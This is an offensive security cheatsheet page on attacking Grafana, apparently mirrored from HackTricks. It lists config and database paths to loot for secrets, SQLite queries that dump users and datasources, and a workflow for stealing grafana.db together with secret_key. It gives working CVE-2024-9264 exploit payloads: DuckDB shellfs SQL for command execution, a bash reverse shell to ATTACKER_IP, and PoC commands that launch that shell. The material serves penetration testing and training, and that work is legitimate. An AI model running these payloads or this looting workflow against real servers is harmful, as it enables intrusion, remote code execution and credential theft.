daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

grafana.md (8203B)


      1 ---
      2 title: "Grafana"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/grafana.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/grafana.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Grafana
     14 
     15 ## Interesting stuff
     16 
     17 - Main configuration for Debian/RPM installs is commonly **`/etc/grafana/grafana.ini`** and can contain values such as **`admin_user`**, **`admin_password`**, **`secret_key`**, OAuth settings, SMTP credentials, and renderer tokens.<sup>[[9]](#references)</sup>
     18 - The default SQLite database path for those packages is **`/var/lib/grafana/grafana.db`**; container and custom installations may override it.<sup>[[9]](#references)</sup>
     19 - Provisioning files are very interesting after host access:<sup>[[4]](#references)</sup>
     20   - **`/etc/grafana/provisioning/datasources/*.yaml`**
     21   - **`/etc/grafana/provisioning/plugins/*.yaml`**
     22   - Environment-variable expansion is supported in provisioning files, so leaked YAML often reveals both secrets and the env var names backing them.
     23 - Installed plugins are commonly found under **`/var/lib/grafana/plugins`**, unless `paths.plugins` is changed.<sup>[[9]](#references)</sup>
     24 - Inside the platform you could **invite people**, **generate API keys / service account tokens**, **list plugins**, or **install new plugins** depending on the role.
     25 - The browser is also loot: Grafana exposes non-secret datasource config to the frontend. If you have a **Viewer** session (or **anonymous access** is enabled), inspect **`window.grafanaBootData`** from DevTools.<sup>[[2]](#references)</sup>
     26 
     27 Useful SQLite checks:
     28 
     29 ```sql
     30 .tables
     31 .schema data_source
     32 SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
     33 SELECT id,org_id,uid,login,email,is_admin FROM user;
     34 SELECT id,org_id,uid,name,slug FROM dashboard;
     35 ```
     36 
     37 ## Looting datasources and secrets
     38 
     39 Grafana separates browser-readable configuration from encrypted secrets:<sup>[[2]](#references)</sup>
     40 
     41 - **`jsonData`** is visible to users in the browser and is commonly enough to enumerate internal hosts, tenants, auth modes, header names, AWS regions, Elasticsearch indexes, Loki tenants, Prometheus URLs, and similar recon data.
     42 - **`secureJsonData`** is encrypted server-side and no longer readable from the browser after the datasource is saved.
     43 
     44 Post-exploitation workflow:
     45 
     46 1. Dump **`grafana.ini`** and recover **`secret_key`**.
     47 2. Loot **`grafana.db`** and provisioning files.
     48 3. Enumerate datasources and plugin configuration to find reusable credentials and internal endpoints.
     49 4. If migrating or replaying the database in another Grafana instance, keep the same **`secret_key`** or stored datasource passwords/tokens will not decrypt correctly.<sup>[[3]](#references)</sup>
     50 
     51 Why **`secret_key`** matters in newer versions:<sup>[[3]](#references)</sup>
     52 
     53 - Since Grafana v9, database secrets use envelope encryption.
     54 - Grafana encrypts secrets with **data encryption keys (DEKs)**, and those DEKs are encrypted with a **key encryption key (KEK)** derived from **`secret_key`**.
     55 - From an attacker perspective, **`grafana.db` + `secret_key`** is the pair worth stealing.
     56 
     57 ## Plugin attack surface
     58 
     59 Treat plugins as part of the target, not a footnote:
     60 
     61 - Enumerate them from the filesystem, from the UI, or from the API:
     62 
     63 ```bash
     64 curl -s http://grafana.target/api/plugins | jq '.[].id'
     65 ```
     66 
     67 - Older or third-party plugins regularly expand Grafana's reach into internal networks because they proxy HTTP requests or interact with local files/databases.<sup>[[5]](#references)</sup>
     68 - Recent examples include SSRF in the **Infinity** plugin (`< 3.4.1`) and abuse paths where the **Image Renderer** plugin turns another bug into **full-read SSRF**.
     69 
     70 ## CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI
     71 
     72 Grafana’s experimental SQL Expressions feature can evaluate DuckDB queries that embed user-controlled text. Insufficient sanitization allows attackers to chain DuckDB statements and load the community extension shellfs, which exposes shell commands via pipe-backed virtual files.<sup>[[1]](#references)[[6]](#references)</sup>
     73 
     74 ### Impact
     75 - Any authenticated user with VIEWER or higher can get code execution as the Grafana OS user (often grafana; sometimes root inside a container) or perform local file reads.<sup>[[1]](#references)</sup>
     76 - Preconditions commonly met in real deployments:<sup>[[1]](#references)</sup>
     77   - SQL Expressions enabled: `expressions.enabled = true`
     78   - `duckdb` binary present in PATH on the server
     79 
     80 ### Quick Checks
     81 - In the UI/API, browse Admin settings (Swagger: `/swagger-ui`, endpoint `/api/admin/settings`) to confirm:
     82   - `expressions.enabled` is true
     83   - Optional: version, datasource types, and general hardening settings
     84 - Shell on host: `which duckdb` must resolve for the exploit path below.
     85 
     86 ### Manual Query Pattern Using DuckDB and shellfs
     87 - Abuse flow (2 queries):<sup>[[7]](#references)</sup>
     88   1) Install and load the shellfs extension, run a command, redirect combined output to a temp file via pipe
     89   2) Read back the temp file using `read_blob`
     90 
     91 Example SQL Expressions payloads that get passed to DuckDB:
     92 ```sql
     93 -- 1) Prepare shellfs and run command
     94 SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
     95 SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
     96 -- 2) Read the output back
     97 SELECT content FROM read_blob('/tmp/grafana_cmd_output');
     98 ```
     99 Replace CMD with your desired command. For file-read (LFI) you can instead use DuckDB file functions to read local files.
    100 
    101 ### One-Line Reverse-Shell Example
    102 ```bash
    103 bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
    104 ```
    105 Embed that as CMD in the first query while you have a listener: `nc -lnvp 443`.
    106 
    107 ### Automated PoC
    108 - Public PoC (built on cfreal’s ten framework):<sup>[[7]](#references)[[8]](#references)</sup>
    109   - [https://github.com/nollium/CVE-2024-9264](https://github.com/nollium/CVE-2024-9264)<sup>[[7]](#references)</sup>
    110 
    111 Usage example
    112 ```bash
    113 # Confirm execution context and UID
    114 python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
    115 # Launch a reverse shell
    116 python3 CVE-2024-9264.py -u <USER> -p <PASS> \
    117   -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
    118   http://grafana.target
    119 ```
    120 If output shows `uid=0(root)`, the Grafana process is running as root. Do not assume that is the default for all containers.
    121 
    122 ## 2025 client-side traversal / open redirect chain
    123 
    124 The 2025 Grafana client-side traversal and open-redirect chain is already documented in more generic client-side pages. Use those techniques against Grafana-specific paths such as plugin assets, dashboard script loaders, and token-rotation redirects:
    125 
    126 [Client Side Path Traversal](/hacktricks/pentesting-web/client-side-path-traversal)
    127 
    128 [Open Redirect](/hacktricks/pentesting-web/open-redirect)
    129 
    130 ## References
    131 
    132 - [1] [Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)](https://grafana.com/security/security-advisories/cve-2024-9264/)
    133 - [2] [Grafana docs – Add authentication for data source plugins (`jsonData`, `secureJsonData`, `window.grafanaBootData`)](https://grafana.com/developers/plugin-tools/how-to-guides/data-source-plugins/add-authentication-for-data-source-plugins)
    134 - [3] [Grafana docs – Configure database encryption](https://grafana.com/docs/grafana/latest/setup-grafana/configure-security/configure-database-encryption/)
    135 - [4] [Grafana docs – Provision Grafana](https://grafana.com/docs/grafana/latest/administration/provisioning/)
    136 - [5] [Cycode – One Plugin Away: Breaking Into Grafana from the Inside](https://cycode.com/blog/one-plugin-away-breaking-into-grafana-from-the-inside/)
    137 - [6] [DuckDB shellfs community extension](https://duckdb.org/community_extensions/extensions/shellfs.html)
    138 - [7] [nollium/CVE-2024-9264 PoC](https://github.com/nollium/CVE-2024-9264)
    139 - [8] [cfreal/ten framework](https://github.com/cfreal/ten)
    140 - [9] [Grafana documentation - Configuration](https://grafana.com/docs/grafana/latest/setup-grafana/configure-grafana/)